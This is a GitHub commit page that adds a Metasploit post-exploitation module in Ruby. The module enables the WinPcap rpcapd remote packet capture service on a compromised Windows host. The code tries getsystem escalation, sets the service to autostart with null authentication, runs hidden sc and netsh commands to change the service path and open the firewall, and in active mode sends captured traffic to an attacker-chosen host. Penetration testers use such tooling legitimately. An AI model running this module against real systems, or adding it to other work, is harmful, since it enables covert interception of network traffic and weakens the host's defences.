Skip to content

Commit d16d004

Browse files
committed
added windows post module rpcapd service
1 parent 828f377 commit d16d004

File tree

1 file changed

+133
-0
lines changed

1 file changed

+133
-0
lines changed
Lines changed: 133 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,133 @@
1+
##
2+
# This file is part of the Metasploit Framework and may be subject to
3+
# redistribution and commercial restrictions. Please see the Metasploit
4+
# Framework web site for more information on licensing and terms of use.
5+
# http://metasploit.com/framework/
6+
##
7+
8+
require 'msf/core'
9+
require 'msf/core/post/file'
10+
require 'msf/core/post/common'
11+
require 'msf/core/post/windows/priv'
12+
require 'msf/core/post/windows/registry'
13+
require 'msf/core/post/windows/services'
14+
15+
class Metasploit3 < Msf::Post
16+
17+
include Msf::Post::Windows::Registry
18+
include Msf::Post::Windows::WindowsServices
19+
include Msf::Post::Windows::Priv
20+
include Msf::Post::Common
21+
include Msf::Post::File
22+
23+
def initialize(info={})
24+
super( update_info( info,
25+
'Name' => 'Enable Remote Packet Capture Service',
26+
'Description' => %q{
27+
This module enables the Remote Packet Capture System (rpcapd service)
28+
included in the default installation of Winpcap. The module allows you to set up
29+
the service in passive or active mode (useful if the client is behind a firewall).
30+
If authentication is enabled you need a local user account to capture traffic.
31+
PORT will be used depending of the mode configured.},
32+
'License' => BSD_LICENSE,
33+
'Author' => [ 'Borja Merino <bmerinofe[at]gmail.com>'],
34+
'Platform' => [ 'windows' ],
35+
'SessionTypes' => [ 'meterpreter' ]
36+
))
37+
38+
register_options(
39+
[
40+
OptBool.new('NULLAUTH', [ true, 'Enable Null Authentication.', true]),
41+
OptBool.new('ACTIVE', [ true, 'Enable rpcapd in active mode (passive by default).', false]),
42+
OptBool.new('GETSYSTEM', [ true, 'Try to get System privilege.', true]),
43+
OptAddress.new('RHOST', [ false, 'Remote host to connect (set in active mode only).']),
44+
OptInt.new('PORT', [ true, 'Local/Remote port to capture traffic.',2002])
45+
], self.class)
46+
end
47+
48+
def run
49+
#Check platform to avoid problems with getsystem (e.g. java/java)
50+
if check_perm and client.platform =~ /win32|win64/i
51+
serv = service_info("rpcapd")
52+
print_status("Checking if machine #{sysinfo['Computer']} has rpcapd service")
53+
54+
if serv['Name'] !~ /remote/i
55+
print_error("This machine doesn't seem to have the rpcapd service")
56+
else
57+
print_status("Rpcap service found: #{serv['Name']}")
58+
reg=registry_getvaldata("HKLM\\SYSTEM\\CurrentControlSet\\Services\\rpcapd","Start")
59+
prog=client.fs.file.expand_path("%ProgramFiles%") << "\\winpcap\\rpcapd.exe"
60+
if reg != 2
61+
print_status("Setting rpcapd as 'auto' service")
62+
service_change_startup("rpcapd","auto")
63+
end
64+
if datastore['ACTIVE']==true
65+
print_error("RHOST is not set ") if datastore['RHOST']==nil
66+
p = prog << " -d -a #{datastore['RHOST']},#{datastore['PORT']} -v "
67+
print_status("Installing rpcap in ACTIVE mode (remote port: #{datastore['PORT']})")
68+
else
69+
fw_enable(prog)
70+
print_status("Installing rpcap in PASSIVE mode (local port: #{datastore['PORT']}) ")
71+
p = prog << " -d -p #{datastore['PORT']} "
72+
end
73+
if datastore['NULLAUTH']==true
74+
p<< "-n"
75+
end
76+
run_rpcapd(p)
77+
end
78+
else
79+
print_error("You don't have enough privileges.")
80+
end
81+
end
82+
83+
def check_perm
84+
if !is_admin? and datastore['GETSYSTEM']==true
85+
print_status("Trying to get System privileges...")
86+
s = session.priv.getsystem
87+
if s[0]
88+
print_good("Got System")
89+
return true
90+
else
91+
print_error("Couldn't get System")
92+
return false
93+
end
94+
elsif !is_admin? and datastore['GETSYSTEM']==false
95+
return false
96+
else # is_admin? = true
97+
return true
98+
end
99+
end
100+
101+
def run_rpcapd(p)
102+
begin
103+
client.sys.process.execute("cmd.exe /c sc config rpcapd binpath= \"#{p}\" ",nil, {'Hidden' => 'true', 'Channelized' => true})
104+
result=service_start("rpcapd")
105+
case result
106+
when 0
107+
print_good("Rpcapd started successfully: #{p}")
108+
when 1
109+
print_status("Rpcapd is already running. Restarting service ...")
110+
if service_stop("rpcapd") and service_start("rpcapd")
111+
print_good("Service restarted successfully: #{p}")
112+
else
113+
print_error("There was an error restarting rpcapd.exe. Try to run it again")
114+
end
115+
end
116+
rescue::Exception => e
117+
print_status("The following Error was encountered: #{e.class} #{e}")
118+
end
119+
end
120+
121+
def fw_enable(prog)
122+
print_status ("Enabling rpcapd.exe in Windows Firewall")
123+
begin
124+
if (client.fs.file.exists?(prog))
125+
client.sys.process.execute("cmd.exe /c netsh firewall add allowedprogram \"#{prog}\" \"Windows Service\" ENABLE", nil, {'Hidden' => 'true', 'Channelized' => true})
126+
else
127+
print_error("rpcad.exe doesn't exist in #{prog}. Check the installation of WinPcap")
128+
end
129+
rescue::Exception => e
130+
print_status("The following Error was encountered: #{e.class} #{e}")
131+
end
132+
end
133+
end

0 commit comments

Comments
 (0)